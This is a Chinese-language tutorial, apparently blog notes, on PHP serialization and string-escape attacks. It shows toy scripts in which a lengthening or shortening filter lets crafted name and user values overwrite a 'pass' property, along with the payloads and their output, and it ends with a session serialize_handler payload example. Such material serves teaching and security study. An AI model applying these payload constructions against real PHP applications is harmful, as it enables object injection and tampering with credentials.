a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
什么是序列化
php 中, 使用函数 serialize() 来返回一个包含字节流的字符串来表示
比如:
class S{
public $test="sd";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
123
以上代码限制了输入的内容 当输入 x 时会替换为 yy 若被替换则会出现报错,因为长度与字符实际长度不符
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bobx';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
O:1:"A":2:{s:4:"name";s:4:"Bobx";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:4:"Bobyy";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 56 bytes in \out.php on line 17
x 变为 yy 为原来的 2 倍长度 因此我们构造的 playload x 的数量应该为 24 当他变为原来的两倍 时 正好与没加倍时 name 的长度相同 便可以在后面构造 pass 的值
相应 payload
xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo $c->pass;
?>
O:1:"A":2:{s:4:"name";s:48:"xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:48:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
字符串变短
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='Bob';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
123
这里将 test 替换为空,
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='test';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:4:"test";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:4:"";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 72 bytes in \out_1.php on line 18
name 的内容为空 但是大小为 4
相当于我们要闭合掉 ";s:4:"user";s:3:" 的内容
同样的,当仅 name 和 user 的值可控的情况下,需要通过 "; 来构造闭合
相应 payload
public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
O:1:"A":3:{s:4:"name";s:20:"testtesttesttesttest";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:20:"";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
# session_read.php
<?php
ini_set("session.serialize_handler", "php");
session_start();
class test {
public $data;
function __wakeup(){
echo $this->data;
}
}
?>
生成playload
<?php
class test {
public $data = 'hack';
}
$o = new test();
echo serialize($o);
?>
O:4:"test":1:{s:4:"data";s:4:"hack";}